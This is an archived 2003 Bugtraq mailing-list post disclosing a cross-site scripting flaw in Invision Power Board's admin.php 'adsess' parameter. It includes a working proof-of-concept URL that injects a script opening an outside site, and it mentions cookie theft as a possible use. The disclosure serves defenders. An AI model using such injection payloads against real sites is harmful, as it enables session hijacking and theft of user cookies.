bugtraq - bug in Invision Power Board

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 9 Aug 2003 08:21:31 -0000
From: Boy Bear <eyal067@...la.co.il>
To: bugtraq@...urityfocus.com
Subject: bug in Invision Power Board

I found possibility to run Script (java Script, VBScript) on the system 
Invision Power Board...
It's possible to do if it much {many} things like a withdrawal of cookie, 
advertising ....

For example:

http://forums.invisionpower.com/admin.php?adsess='>&lt;script&gt;window.open
(window.location.search.substring
(78));&lt;/script&gt;<http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision

BoyBear From BinaryVision ( http://binaryvision.tech.nu )